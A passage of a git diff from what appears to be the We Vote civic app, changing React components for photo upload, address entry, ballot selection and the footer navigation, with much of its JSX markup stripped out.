+ const { politicianWeVoteId } = this.props;
+ if (politicianWeVoteId) {
+ PoliticianActions.politicianPhotoDelete(politicianWeVoteId);
+ PoliticianActions.politicianPhotoQueuedToSave(undefined);
+ } else {
+ VoterActions.voterPhotoDelete();
+ VoterActions.voterPhotoQueuedToSave(undefined);
+ }
+ // Adding event data to dataLayer for Google Tag Manager
+ const dataLayerObject = {
+ event: 'action',
+ actionDetails: {
+ actionType: 'delete',
+ buttonId,
+ },
+ userDetails: VoterStore.getAnalyticsUserDetails(),
+ pageDetails: getPageDetails(),
+ };
+ TagManager.dataLayer({ dataLayer: dataLayerObject });
+ this.setState({
+ politicianProfileUploadedImageUrlLarge: '',
+ voterProfileUploadedImageUrlLarge: '',
+ })
+ this.clearThumbnail();
+ };
+
+ readFileAsDataUrl = (file) => {
+ const promise = new Promise((resolve, reject) => {
+ const reader = new FileReader();
+ reader.onload = () => resolve(reader.result);
+ reader.onerror = (error) => reject(error);
+ reader.readAsDataURL(file);
+ });
+ return promise;
+ };
+
+ async cameraCallback (uri) {
+ const { resolveLocalFileSystemURL } = window;
+ resolveLocalFileSystemURL(uri, async (fileEntry) => {
+ const entryUrl = fileEntry.toURL();
+ await this.preparePhotoForUpload(entryUrl);
+ }, (err) => {
+ console.log('cameraCallback', err.message);
+ console.error('camera resolveLocalFileSystemURL error', err);
+ })
+ }
+
+ render () {
+ renderLog('VoterPhotoUpload'); // Set LOG_RENDER_EVENTS to log all renders
+
+ const { classes, limitPhotoHeight, maxWidth, politicianWeVoteId } = this.props;
+ const {
+ dropzoneText, isWebApp, politicianProfileUploadedImageUrlLarge, showDropzoneIcon,
+ voterProfileUploadedImageUrlLarge,
+ } = this.state;
+ let imageToDisplay = '';
+ let initialFiles;
+ if (politicianWeVoteId) {
+ imageToDisplay = politicianProfileUploadedImageUrlLarge;
+ if (politicianProfileUploadedImageUrlLarge && politicianProfileUploadedImageUrlLarge.length > 0) {
+ initialFiles = [politicianProfileUploadedImageUrlLarge];
+ }
+ } else {
+ imageToDisplay = voterProfileUploadedImageUrlLarge;
+ if (voterProfileUploadedImageUrlLarge && voterProfileUploadedImageUrlLarge.length > 0) {
+ initialFiles = [voterProfileUploadedImageUrlLarge];
+ }
+ }
+
+ return (
+
+
+
+ );
+ }
+}
+VoterPhotoUpload.propTypes = {
+ classes: PropTypes.object,
+ limitPhotoHeight: PropTypes.bool,
+ maxWidth: PropTypes.number,
+ onUpload: PropTypes.func,
+ politicianWeVoteId: PropTypes.string,
+};
+
+const styles = (theme) => ({
+ dropzoneIcon: {
+ color: '#999',
+ },
+ dropzoneIconHidden: {
+ display: 'none',
+ },
+ dropzoneRoot: {
+ color: '#999',
+ minHeight: '162px',
+ [theme.breakpoints.down('sm')]: {
+ minHeight: '160px',
+ },
+ },
+ dropzoneText: {
+ color: '#818181',
+ fontSize: '18px',
+ fontFamily: "'Poppins', 'Helvetica Neue Light', 'Helvetica Neue', 'Helvetica', 'Arial', sans-serif",
+ fontWeight: '300',
+ paddingLeft: 5,
+ paddingRight: 5,
+ },
+});
+
+const ColumnFullWidthPhotoUpload = styled('div')`
+ padding: 8px 12px;
+ width: 100%;
+`;
+
+const CordovaDropZoneReplica = styled('div', {
+ shouldForwardProp: (prop) => !['show'].includes(prop),
+})(({ show }) => (`
+ color: #999;
+ position: relative;
+ width: 100%;
+ min-height: 250px;
+ background-color: rgb(255, 255, 255);
+ border: dashed rgba(0, 0, 0, 0.12);
+ border-radius: 4px;
+ box-sizing: border-box;
+ cursor: pointer;
+ overflow: hidden;
+ display: ${show ? 'inline-block' : 'none'};
+`));
+
+
+const DeleteLink = styled('div')`
+`;
+
+const ChooseLink = styled('div')`
+ margin: 0 0 20px 18px;
+`;
+
+const OuterWrapperPhotoUpload = styled('div')`
+ width: 100%;
+`;
+
+const VoterPhotoImage = styled('img', {
+ shouldForwardProp: (prop) => !['maxWidth'].includes(prop),
+})(({ maxWidth }) => (`
+ border-radius: 100px;
+ max-width: 100px;
+ ${maxWidth ? `max-width: ${maxWidth}px;` : 'max-width: 200px;'}
+`));
+
+const VoterPhotoWrapper = styled('div', {
+ shouldForwardProp: (prop) => !['limitPhotoHeight'].includes(prop),
+})(({ limitPhotoHeight }) => (`
+ align-items: center;
+ display: flex;
+ flex-direction: column;
+ ${limitPhotoHeight ? 'height: 130px;' : ''}
+ justify-content: flex-end;
+ margin-bottom: 0;
+ width: 100%;
+`));
+
+const FormInnerWrapper = styled('div')`
+ display: flex;
+ justify-content: space-between;
+ margin-left: -12px;
+ padding: 0 !important;
+ width: calc(100% + 24px);
+`;
+
+export default withStyles(styles)(VoterPhotoUpload);
diff --git a/src/js/components/AddressBox.jsx b/src/js/components/AddressBox.jsx
index 2873e42b12..50d2f06302 100644
--- a/src/js/components/AddressBox.jsx
+++ b/src/js/components/AddressBox.jsx
@@ -1,317 +1,320 @@
-import { Button } from '@mui/material';
-import withStyles from '@mui/styles/withStyles';
-import PropTypes from 'prop-types';
-import React, { Component } from 'react';
-import TagManager from 'react-gtm-module';
-import BallotActions from '../actions/BallotActions';
-import VoterActions from '../actions/VoterActions';
-import DelayedLoad from '../common/components/Widgets/DelayedLoad';
-import LoadingWheel from '../common/components/Widgets/LoadingWheel';
-import { isCordovaPhone, prepareForCordovaKeyboard, restoreStylesAfterCordovaKeyboard } from '../common/utils/cordovaUtils';
-import historyPush from '../common/utils/historyPush';
-import Cookies from '../common/utils/js-cookie/Cookies';
-import { renderLog } from '../common/utils/logging';
-import BallotStore from '../stores/BallotStore';
-import VoterStore from '../stores/VoterStore';
-import { getPageDetails } from '../utils/lookupPageNameAndPageTypeDict';
-import GoogleAutoComplete from './Widgets/GoogleAutoComplete';
-
-class AddressBox extends Component {
- constructor (props) {
- super(props);
- this.state = {
- loading: false,
- textForMapSearch: '',
- ballotCaveat: '',
- voterSavedAddress: false,
- };
- }
-
- // eslint-disable-next-line camelcase,react/sort-comp
- UNSAFE_componentWillMount () {
- prepareForCordovaKeyboard('AddressBox');
- }
-
- componentDidMount () {
- this.setState({
- textForMapSearch: VoterStore.getTextForMapSearch(),
- ballotCaveat: BallotStore.getBallotCaveat(),
- });
- this.voterStoreListener = VoterStore.addListener(this.onVoterStoreChange.bind(this));
- this.ballotStoreListener = BallotStore.addListener(this.onBallotStoreChange.bind(this));
- }
-
- shouldComponentUpdate (nextProps, nextState) {
- if (this.state.loading !== nextState.loading) {
- return true;
- }
- if (this.state.voterSavedAddress !== nextState.voterSavedAddress) {
- return true;
- }
- if (this.state.textForMapSearch !== nextState.textForMapSearch) {
- return true;
- }
- if (this.state.ballotCaveat !== nextState.ballotCaveat) {
- return true;
- }
- return false;
- }
-
- componentDidCatch (error, info) {
- // We should get this information to Splunk!
- console.error('!!!AddressBox caught error: ', `${error} with info: `, info);
- }
-
- componentWillUnmount () {
- this.voterStoreListener.remove();
- this.ballotStoreListener.remove();
- clearTimeout(this.closeModalTimer);
- restoreStylesAfterCordovaKeyboard('AddressBox');
- }
-
- // See https://reactjs.org/docs/error-boundaries.html
- static getDerivedStateFromError (error) { // eslint-disable-line no-unused-vars
- // Update state so the next render will show the fallback UI, We should have a "Oh snap" page
- console.log('!!!AddressBox error', error);
- return { hasError: true };
- }
-
- onVoterStoreChange () {
- // console.log('AddressBox, onVoterStoreChange, this.state:', this.state);
- const { textForMapSearch, voterSavedAddress } = this.state;
-
- if (textForMapSearch && voterSavedAddress) {
- this.incomingToggleSelectAddressModal();
- historyPush(this.props.saveUrl);
- } else {
- this.setState({
- loading: false,
- textForMapSearch: VoterStore.getTextForMapSearch(),
- voterSavedAddress,
- });
- }
- }
-
- onBallotStoreChange () {
- // console.log('AddressBox, onBallotStoreChange, this.state:', this.state);
- this.setState({
- ballotCaveat: BallotStore.getBallotCaveat(),
- loading: false,
- });
- }
-
- incomingToggleSelectAddressModal = () => {
- if (this.props.toggleSelectAddressModal) {
- this.props.toggleSelectAddressModal();
- }
- };
-
- voterAddressCancel = (event, buttonId) => {
- event.preventDefault();
- const dataLayerObject = {
- actionDetails: {
- actionType: 'cancel',
- buttonId,
- },
- event: 'action',
- pageDetails: getPageDetails(),
- userDetails: VoterStore.getAnalyticsUserDetails(),
- };
- // console.log('dataLayerObject:', dataLayerObject);
- TagManager.dataLayer({ dataLayer: dataLayerObject });
-
- if (this.props.toggleEditingAddress) {
- this.props.toggleEditingAddress();
- }
- };
-
- voterAddressSaveSubmit = (event, buttonId) => {
- // console.log('Save button clicked');
- // console.log('Passed buttonId:', buttonId);
- event.preventDefault();
- const { textForMapSearch } = this.state;
- // console.log('AddressBox voterAddressSaveSubmit, textForMapSearch:', textForMapSearch);
- let ballotCaveat = 'Saving new address...';
- if (textForMapSearch && textForMapSearch !== '') {
- ballotCaveat = `Saving new address '${textForMapSearch}'...`;
- }
-
- // console.log('AddressBox Passed buttonId:', buttonId);
- const dataLayerObject = {
- actionDetails: {
- actionType: 'save',
- buttonId,
- searchKeyword: textForMapSearch,
- },
- event: 'action',
- pageDetails: getPageDetails(),
- userDetails: VoterStore.getAnalyticsUserDetails(),
- };
- const electionDetails = BallotStore.getAnalyticsElectionDetails(textForMapSearch);
- if (electionDetails && electionDetails.electionDate) {
- dataLayerObject.electionDetails = electionDetails;
- }
- // console.log('dataLayerObject:', dataLayerObject);
- TagManager.dataLayer({ dataLayer: dataLayerObject });
-
- BallotActions.setBallotCaveat(ballotCaveat);
- VoterActions.clearVoterElectionId();
- VoterActions.voterAddressSave(textForMapSearch);
- BallotActions.completionLevelFilterTypeSave('filterAllBallotItems');
- Cookies.set('location_guess_closed', '1', { expires: 31, path: '/' });
- this.setState({
- loading: true,
- voterSavedAddress: true,
- }, () => {
- if (this.props.onAddressSaveSuccess) {
- this.props.onAddressSaveSuccess();
- }
- });
- // We want to leave the voter in the modal until we get a new ballot
- // this.returnNewTextForMapSearchLocal(textForMapSearch);
- // const { toggleSelectAddressModal } = this.props;
- // if (toggleSelectAddressModal) {
- // // console.log('In AddressBox where we normally toggleEditingAddress');
- // const delayBeforeClosingModal = 4000;
- // this.closeModalTimer = setTimeout(() => {
- // toggleSelectAddressModal();
- // }, delayBeforeClosingModal);
- // } else {
- // console.log('AddressBox did not receive a toggleEditingAddress() function');
- // }
- };
-
- updateTextForMapSearch = (textForMapSearch) => {
- // console.log('AddressBox updateTextForMapSearch textForMapSearch:', textForMapSearch);
- this.setState({ textForMapSearch });
- };
-
- updateTextForMapSearchFromGoogle = (textForMapSearch) => {
- // console.log('AddressBox updateTextForMapSearchFromGoogle textForMapSearch:', textForMapSearch);
- if (textForMapSearch) {
- this.setState({ textForMapSearch });
- }
- };
-
- returnNewTextForMapSearchLocal (textForMapSearch) {
- const { returnNewTextForMapSearch } = this.props;
- if (returnNewTextForMapSearch) {
- returnNewTextForMapSearch(textForMapSearch);
- }
- }
-
- render () {
- renderLog('AddressBox'); // Set LOG_RENDER_EVENTS to log all renders
- // console.log('AddressBox render');
- let { waitingMessage } = this.props;
- const { classes, externalUniqueId, introductionHtml, showCancelEditAddressButton, toggleEditingAddress } = this.props;
-
- const { ballotCaveat, loading } = this.state;
- if (loading) {
- if (!waitingMessage) waitingMessage = 'Please wait a moment while we find your ballot...';
-
- return (
-
-
{waitingMessage}
- {LoadingWheel}
-
-
-
- Cancel and Try Again
-
-
-
-
- {introductionHtml}
-
-
-
- {showCancelEditAddressButton ? (
- this.voterAddressCancel(event, externalUniqueId ? `addressBoxModalCancelButton-${externalUniqueId}` : 'addressBoxModalCancelButton')}
- classes={{ root: classes.cancelButton }}
- >
- Cancel
-
- ) : null}
- this.voterAddressSaveSubmit(event, externalUniqueId ? `addressBoxModalSaveButton-${externalUniqueId}` : 'addressBoxModalSaveButton')}
- variant="contained"
- classes={showCancelEditAddressButton ? { root: classes.saveButton } : { root: classes.fullWidthSaveButton }}
- fullWidth={!showCancelEditAddressButton}
- >
- Save
-
-
-
-
{ballotCaveat}
-
+
{waitingMessage}
+ {LoadingWheel}
+
+
+
+ Cancel and Try Again
+
+
+
+
+ {introductionHtml}
+
+
+
+ {showCancelEditAddressButton ? (
+ this.voterAddressCancel(event, externalUniqueId ? `addressBoxModalCancelButton-${externalUniqueId}` : 'addressBoxModalCancelButton')}
+ classes={{ root: classes.cancelButton }}
+ >
+ Cancel
+
+ ) : null}
+ this.voterAddressSaveSubmit(event, externalUniqueId ? `addressBoxModalSaveButton-${externalUniqueId}` : 'addressBoxModalSaveButton')}
+ variant="contained"
+ classes={showCancelEditAddressButton ? { root: classes.saveButton } : { root: classes.fullWidthSaveButton }}
+ fullWidth={!showCancelEditAddressButton}
+ >
+ Save
+
+
+
+
{ballotCaveat}
+
{ this.props.closeSelectBallotModal(); }}
- id="SelectBallotModalId"
- >
-
-
- {dialogTitleText}
-
- { this.props.closeSelectBallotModal(); }}
- id="profileCloseSelectBallotModal"
- size="large"
- >
-
-
-
- {!editingAddress && (
-
-
- )}
-
-
- {!editingAddress && (
-
- }>
-
-
- )}
-
- {!editingAddress && (
-
- }>
-
-
- )}
-
-
-
- {!editingAddress && (
-
-
- this.setState({ prior: true, upcoming: false })} variant={this.state.prior ? 'contained' : 'outlined'} color="primary">Prior
- this.setState({ prior: false, upcoming: true })} variant={this.state.upcoming ? 'contained' : 'outlined'} color="primary">Upcoming
-
-
- }>
-
-
-
- )}
-
-
- {/* )} */}
-
-
- );
- }
-}
-SelectBallotModal.propTypes = {
- ballotBaseUrl: PropTypes.string,
- classes: PropTypes.object,
- closeSelectBallotModal: PropTypes.func.isRequired,
- showEditAddress: PropTypes.bool,
- organization_we_vote_id: PropTypes.string, // If looking at voter guide, we pass in the parent organization_we_vote_id
- show: PropTypes.bool,
-};
-
-const styles = (theme) => ({
- closeButton: {
- position: 'absolute',
- right: 8,
- top: 8,
- [theme.breakpoints.down('sm')]: {
- right: 0,
- top: 0,
- },
- },
- dialogContent: {
- [theme.breakpoints.down('md')]: {
- padding: '0 8px 8px',
- },
- },
- dialogPaper: {
- marginTop: hasCordovaNotch() ? 68 : 48,
- minHeight: '80%',
- maxHeight: '90%',
- height: '80%',
- width: '90%',
- maxWidth: '1200px',
- [theme.breakpoints.down('md')]: {
- minWidth: '95%',
- maxWidth: '95%',
- width: '95%',
- minHeight: '90%',
- maxHeight: '90%',
- height: '90%',
- margin: '0 auto',
- top: '20px',
- },
- },
- dialogTitle: {
- [theme.breakpoints.down('md')]: {
- padding: '8px 8px',
- },
- },
- formControl: {
- width: '100%',
- marginTop: 16,
- },
- select: {
- padding: '12px 12px',
- margin: '0px 1px',
- },
-});
-
-const SelectBallotTitleHeaderWrapper = styled('div')`
- margin-bottom: 32px;
-`;
-
-const ElectionChoiceWrapper = styled('div')`
- margin-top: 12px;
-`;
-
-const Title = styled('div')`
- font-size: 20px;
- font-weight: bold;
- margin: 0;
- margin-top: 6px;
- text-align: left;
-`;
-
-const Row = styled('div')`
- margin-top: -8px;
- margin-bottom: -8px;
- // margin-left: auto;
- // margin-right: auto;
- max-width: 1200px;
- @media(min-width: 860px) {
- display: flex;
- align-items: flex-start;
- justify-content: space-between;
- }
-`;
-
-const MapChartWrapper = styled('div')`
- display: block;
- max-height: 300px;
- width: 100%;
- padding: 12px;
- top: 0;
- svg {
- margin-top: -22px;
- }
- @media(min-width: 576px) {
- width: auto;
- flex: 1 1 0;
- }
- & svg, & path {
- max-height: 300px;
- }
- & img {
- max-height: 300px;
- }
-`;
-
-const MapChartWrapperDesktop = styled('div')`
- display: block;
- width: 50%;
- padding: 12px;
- top: 0;
- svg {
- margin-top: -22px;
- }
- @media (min-width: 860px) {
- display: block;
- padding: 16px;
- position: sticky;
- top: 0;
- svg {
- margin-top: -36px;
- }
- }
- ${() => displayNoneIfSmallerThanDesktop()};
-`;
-
-const EditContainer = styled('div')`
- margin-top: 12px;
-`;
-
-
-const SidebarWrapper = styled('div')`
- padding: 16px;
- @media (max-width: 575px) {
- padding-top: 0;
- }
- @media(min-width: 576px) {
- // max-width: 50%;
- width: auto;
- flex: 1 1 0;
- }
-`;
-
-const BallotElectionListWrapper = styled('div', {
- shouldForwardProp: (prop) => !['addTopMargin'].includes(prop),
-})(({ addTopMargin }) => (`
- margin-top: ${addTopMargin ? '24px' : '0'};
-`));
-
-const ToggleGroup = styled('div')`
- display: flex;
- align-items: center;
- justify-content: center;
- width: calc(100% + 4px);
- position: relative;
- left: -2px;
-`;
-
-const PriorButton = styled(Button)`
- position: relative;
- right: -2px;
- width: calc(50% + 2px);
- border-top-right-radius: 0 !important;
- border-bottom-right-radius: 0 !important;
-`;
-
-const UpcomingButton = styled(Button)`
- border-top-left-radius: 0 !important;
- border-bottom-left-radius: 0 !important;
- position: relative;
- left: -2px;
- width: calc(50% + 2px);
- z-index: 0;
-`;
-
-export default withTheme(withStyles(styles)(SelectBallotModal));
+import { Close } from '@mui/icons-material';
+import { Button, Dialog, DialogContent, DialogTitle, IconButton } from '@mui/material';
+import withStyles from '@mui/styles/withStyles';
+import withTheme from '@mui/styles/withTheme';
+import PropTypes from 'prop-types';
+import React, { Component, Suspense } from 'react';
+import styled from 'styled-components';
+import AnalyticsActions from '../../actions/AnalyticsActions';
+import { hasCordovaNotch } from '../../common/utils/cordovaUtils';
+import { displayNoneIfSmallerThanDesktop } from '../../common/utils/isMobileScreenSize';
+import { renderLog } from '../../common/utils/logging';
+import AppObservableStore, { messageService } from '../../common/stores/AppObservableStore';
+import VoterStore from '../../stores/VoterStore';
+import { calculateBallotBaseUrl } from '../../common/utils/textFormat';
+import StateDropDownCore from '../Filter/StateDropDownCore';
+import BallotTitleHeader from './BallotTitleHeader';
+import EditAddressInPlace from '../Widgets/EditAddressInPlace';
+
+const MapChart = React.lazy(() => import(/* webpackChunkName: 'MapChart' */ '../Widgets/MapChart/MapChart'));
+const BallotElectionListWithFilters = React.lazy(() => import(/* webpackChunkName: 'BallotElectionListWithFilters' */ './BallotElectionListWithFilters'));
+
+
+class SelectBallotModal extends Component {
+ // This modal will show a users ballot guides from previous and current elections.
+ constructor (props) {
+ super(props);
+ this.state = {
+ editingAddress: false,
+ selectedState: 'all',
+ upcoming: true,
+ prior: false,
+ };
+
+ this.handleChooseStateChange = this.handleChooseStateChange.bind(this);
+ }
+
+ componentDidMount () {
+ AnalyticsActions.saveActionSelectBallotModal(VoterStore.electionId());
+ this.onAppObservableStoreChange();
+ this.appStateSubscription = messageService.getMessage().subscribe(() => this.onAppObservableStoreChange());
+ const voterStateCode = VoterStore.getVoterStateCode();
+ if (voterStateCode) {
+ this.setState({ selectedState: voterStateCode });
+ }
+ }
+
+ componentWillUnmount () {
+ this.appStateSubscription.unsubscribe();
+ }
+
+ handleChooseStateChange (e) {
+ this.setState({ selectedState: e.target.value });
+ // console.log(e.target.value);
+ }
+
+ onAppObservableStoreChange () {
+ const editingAddress = AppObservableStore.showSelectBallotModalEditAddress();
+ // console.log('SelectBallotModal onAppObservableStoreChange, editingAddress:', editingAddress);
+ this.setState({
+ editingAddress,
+ });
+ }
+
+ mapHandler = (stateAbbrFromMap) => {
+ // console.log('stateAbbrFromMap: ', stateAbbrFromMap);
+ this.setState({ selectedState: stateAbbrFromMap });
+ };
+
+ toggleEditingAddress = () => {
+ const { editingAddress } = this.state;
+ // Write through to AppObservableStore (instead of only setting local state) so this stays in sync.
+ // Otherwise the next unrelated messageService broadcast re-syncs from the stale AppObservableStore
+ // value in onAppObservableStoreChange() and undoes this toggle (e.g., Cancel silently reopening
+ // the address edit view). See WV-4807.
+ AppObservableStore.setShowSelectBallotModal(true, !editingAddress);
+ };
+
+ render () {
+ renderLog('SelectBallotModal'); // Set LOG_RENDER_EVENTS to log all renders
+ const { classes, showEditAddress, show } = this.props;
+ const { location: { pathname } } = window;
+ const { editingAddress } = this.state;
+ const ballotBaseUrl = calculateBallotBaseUrl(this.props.ballotBaseUrl, pathname);
+
+ let dialogTitleText = 'Election You Are Viewing';
+ if (editingAddress) {
+ dialogTitleText = 'Enter Your Address';
+ } else if (!showEditAddress) {
+ dialogTitleText = '';
+ }
+
+ // console.log('SelectBallotModal render, voter_address_object: ', voter_address_object);
+ return (
+ { this.props.closeSelectBallotModal(); }}
+ id="SelectBallotModalId"
+ >
+
+
+ {dialogTitleText}
+
+ { this.props.closeSelectBallotModal(); }}
+ id="profileCloseSelectBallotModal"
+ size="large"
+ >
+
+
+
+ {!editingAddress && (
+
+
+ )}
+
+
+ {!editingAddress && (
+
+ }>
+
+
+ )}
+
+ {!editingAddress && (
+
+ }>
+
+
+ )}
+
+
+
+ {!editingAddress && (
+
+
+ this.setState({ prior: true, upcoming: false })} variant={this.state.prior ? 'contained' : 'outlined'} color="primary">Prior
+ this.setState({ prior: false, upcoming: true })} variant={this.state.upcoming ? 'contained' : 'outlined'} color="primary">Upcoming
+
+
+ }>
+
+
+
+ )}
+
+
+ {/* )} */}
+
+
+ );
+ }
+}
+SelectBallotModal.propTypes = {
+ ballotBaseUrl: PropTypes.string,
+ classes: PropTypes.object,
+ closeSelectBallotModal: PropTypes.func.isRequired,
+ showEditAddress: PropTypes.bool,
+ organization_we_vote_id: PropTypes.string, // If looking at voter guide, we pass in the parent organization_we_vote_id
+ show: PropTypes.bool,
+};
+
+const styles = (theme) => ({
+ closeButton: {
+ position: 'absolute',
+ right: 8,
+ top: 8,
+ [theme.breakpoints.down('sm')]: {
+ right: 0,
+ top: 0,
+ },
+ },
+ dialogContent: {
+ [theme.breakpoints.down('md')]: {
+ padding: '0 8px 8px',
+ },
+ },
+ dialogPaper: {
+ marginTop: hasCordovaNotch() ? 68 : 48,
+ minHeight: '80%',
+ maxHeight: '90%',
+ height: '80%',
+ width: '90%',
+ maxWidth: '1200px',
+ [theme.breakpoints.down('md')]: {
+ minWidth: '95%',
+ maxWidth: '95%',
+ width: '95%',
+ minHeight: '90%',
+ maxHeight: '90%',
+ height: '90%',
+ margin: '0 auto',
+ top: '20px',
+ },
+ },
+ dialogTitle: {
+ [theme.breakpoints.down('md')]: {
+ padding: '8px 8px',
+ },
+ },
+ formControl: {
+ width: '100%',
+ marginTop: 16,
+ },
+ select: {
+ padding: '12px 12px',
+ margin: '0px 1px',
+ },
+});
+
+const SelectBallotTitleHeaderWrapper = styled('div')`
+ margin-bottom: 32px;
+`;
+
+const ElectionChoiceWrapper = styled('div')`
+ margin-top: 12px;
+`;
+
+const Title = styled('div')`
+ font-size: 20px;
+ font-weight: bold;
+ margin: 0;
+ margin-top: 6px;
+ text-align: left;
+`;
+
+const Row = styled('div')`
+ margin-top: -8px;
+ margin-bottom: -8px;
+ // margin-left: auto;
+ // margin-right: auto;
+ max-width: 1200px;
+ @media(min-width: 860px) {
+ display: flex;
+ align-items: flex-start;
+ justify-content: space-between;
+ }
+`;
+
+const MapChartWrapper = styled('div')`
+ display: block;
+ max-height: 300px;
+ width: 100%;
+ padding: 12px;
+ top: 0;
+ svg {
+ margin-top: -22px;
+ }
+ @media(min-width: 576px) {
+ width: auto;
+ flex: 1 1 0;
+ }
+ & svg, & path {
+ max-height: 300px;
+ }
+ & img {
+ max-height: 300px;
+ }
+`;
+
+const MapChartWrapperDesktop = styled('div')`
+ display: block;
+ width: 50%;
+ padding: 12px;
+ top: 0;
+ svg {
+ margin-top: -22px;
+ }
+ @media (min-width: 860px) {
+ display: block;
+ padding: 16px;
+ position: sticky;
+ top: 0;
+ svg {
+ margin-top: -36px;
+ }
+ }
+ ${() => displayNoneIfSmallerThanDesktop()};
+`;
+
+const EditContainer = styled('div')`
+ margin-top: 12px;
+`;
+
+
+const SidebarWrapper = styled('div')`
+ padding: 16px;
+ @media (max-width: 575px) {
+ padding-top: 0;
+ }
+ @media(min-width: 576px) {
+ // max-width: 50%;
+ width: auto;
+ flex: 1 1 0;
+ }
+`;
+
+const BallotElectionListWrapper = styled('div', {
+ shouldForwardProp: (prop) => !['addTopMargin'].includes(prop),
+})(({ addTopMargin }) => (`
+ margin-top: ${addTopMargin ? '24px' : '0'};
+`));
+
+const ToggleGroup = styled('div')`
+ display: flex;
+ align-items: center;
+ justify-content: center;
+ width: calc(100% + 4px);
+ position: relative;
+ left: -2px;
+`;
+
+const PriorButton = styled(Button)`
+ position: relative;
+ right: -2px;
+ width: calc(50% + 2px);
+ border-top-right-radius: 0 !important;
+ border-bottom-right-radius: 0 !important;
+`;
+
+const UpcomingButton = styled(Button)`
+ border-top-left-radius: 0 !important;
+ border-bottom-left-radius: 0 !important;
+ position: relative;
+ left: -2px;
+ width: calc(50% + 2px);
+ z-index: 0;
+`;
+
+export default withTheme(withStyles(styles)(SelectBallotModal));
diff --git a/src/js/components/Navigation/FooterBar.jsx b/src/js/components/Navigation/FooterBar.jsx
index e4d1f07864..a45fd633c8 100644
--- a/src/js/components/Navigation/FooterBar.jsx
+++ b/src/js/components/Navigation/FooterBar.jsx
@@ -1,514 +1,514 @@
-import { Article, CalendarMonth, Groups, Home, HowToVote, Info, MoreHoriz, People, QuestionAnswer, VerifiedUser } from '@mui/icons-material';
-import { Badge, BottomNavigation, BottomNavigationAction, ClickAwayListener } from '@mui/material';
-import withStyles from '@mui/styles/withStyles';
-import PropTypes from 'prop-types';
-import React, { Suspense } from 'react';
-import styled from 'styled-components';
-import DesignTokenColors from '../../common/components/Style/DesignTokenColors';
-import DelayedLoad from '../../common/components/Widgets/DelayedLoad';
-import signInModalGlobalState from '../../common/components/Widgets/signInModalGlobalState';
-import AppObservableStore, { messageService } from '../../common/stores/AppObservableStore';
-import { isIOS } from '../../common/utils/cordovaUtils';
-import historyPush from '../../common/utils/historyPush';
-import { normalizedHref } from '../../common/utils/hrefUtils';
-import { isAndroid, isCordova, isWebApp } from '../../common/utils/isCordovaOrWebApp';
-import { renderLog } from '../../common/utils/logging';
-import normalizedImagePath from '../../common/utils/normalizedImagePath';
-import stringContains from '../../common/utils/stringContains';
-import webAppConfig from '../../config';
-import FriendStore from '../../stores/FriendStore';
-import VoterStore from '../../stores/VoterStore';
-import { cordovaFooterHeight } from '../../utils/cordovaOffsets';
-import ShareButtonFooter from '../Share/ShareButtonFooter';
-
-const nextReleaseFeaturesEnabled = webAppConfig.ENABLE_NEXT_RELEASE_FEATURES === undefined ? false : webAppConfig.ENABLE_NEXT_RELEASE_FEATURES;
-
-const OpenExternalWebSite = React.lazy(() => import(/* webpackChunkName: 'OpenExternalWebSite' */ '../../common/components/Widgets/OpenExternalWebSite'));
-
-// It's not ideal to have two images, but this is a complex svg, and I couldn't figure out how to change the fill color with a variable
-const capitalBuilding = '/img/global/svg-icons/capital-building.svg';
-const capitalBuildingSelected = '/img/global/svg-icons/capital-building-selected.svg';
-const weVoteIcon = '/img/global/svg-icons/we-vote-icon-square-color-grey.svg';
-const weVoteIconSelected = '/img/global/svg-icons/we-vote-icon-square-color-dark.svg';
-
-
-function MoreMenuOverlay ({ anchorRef, classes, friendInvitationsSentToMeCount, onClose }) {
- const pathname = normalizedHref();
- const isAbout = pathname.includes('/more/faq');
- const isChallenges = pathname.includes('/challenges');
- const isDiscuss = pathname.includes('/news');
- const isElectionFinder = pathname.includes('/election-finder');
- const isFriends = pathname.includes('/friends');
- const isManage = pathname.includes('/manage') || pathname.includes('/no-candidates-claimed');
-
- // Ignore clicks on the More anchor so the button's own onChange owns toggling.
- const handleClickAway = (event) => {
- if (anchorRef && anchorRef.current && anchorRef.current.contains(event.target)) return;
- onClose();
- };
-
- return (
-
-
-
-
- {nextReleaseFeaturesEnabled && (
- { onClose(); historyPush('/no-candidates-claimed'); }}>
-
- )}
-
-
-
- {nextReleaseFeaturesEnabled && (
-
- )}
- {isWebApp() && (
- }>
-
- )}
-
-
- );
-}
-MoreMenuOverlay.propTypes = {
- anchorRef: PropTypes.shape({ current: PropTypes.any }),
- classes: PropTypes.object.isRequired,
- friendInvitationsSentToMeCount: PropTypes.number.isRequired,
- onClose: PropTypes.func.isRequired,
-};
-
-class FooterBar extends React.Component {
- constructor (props) {
- super(props);
- this.anchorRef = React.createRef();
- this.state = {
- friendInvitationsSentToMeCount: 0,
- // inPrivateLabelMode: false, // setState onAppObservableStoreChange is not working sometimes for some reason
- showingOneCompleteYourProfileModal: false,
- showSignInModal: false,
- // voterIsSignedIn: false,
- };
- }
-
- componentDidMount () {
- this.onVoterStoreChange();
- this.appStateSubscription = messageService.getMessage().subscribe(() => this.onAppObservableStoreChange());
- this.friendStoreListener = FriendStore.addListener(this.onFriendStoreChange.bind(this));
- this.voterStoreListener = VoterStore.addListener(this.onVoterStoreChange.bind(this));
- const showingOneCompleteYourProfileModal = AppObservableStore.showingOneCompleteYourProfileModal();
- const showShareModal = AppObservableStore.showShareModal();
- const showSharedItemModal = AppObservableStore.showSharedItemModal();
- const showSignInModal = AppObservableStore.showSignInModal();
- const showVoterPlanModal = AppObservableStore.showVoterPlanModal();
- const friendInvitationsSentToMe = FriendStore.friendInvitationsSentToMe();
- const friendInvitationsSentToMeCount = (friendInvitationsSentToMe) ? friendInvitationsSentToMe.length : 0;
- this.setState({
- friendInvitationsSentToMeCount,
- // inPrivateLabelMode: AppObservableStore.getHideWeVoteLogo(), // Using this setting temporarily // setState onAppObservableStoreChange is not working sometimes for some reason
-
- showingOneCompleteYourProfileModal,
- showShareModal,
- showSharedItemModal,
- showSignInModal,
- showVoterPlanModal,
- });
- }
-
- componentWillUnmount () {
- this.appStateSubscription.unsubscribe();
- this.friendStoreListener.remove();
- this.voterStoreListener.remove();
- }
-
- onAppObservableStoreChange () {
- const showActivityTidbitDrawer = AppObservableStore.showActivityTidbitDrawer();
- const showingOneCompleteYourProfileModal = AppObservableStore.showingOneCompleteYourProfileModal();
- const showShareModal = AppObservableStore.showShareModal();
- const showSharedItemModal = AppObservableStore.showSharedItemModal();
- const showSignInModal = AppObservableStore.showSignInModal();
- const showVoterPlanModal = AppObservableStore.showVoterPlanModal();
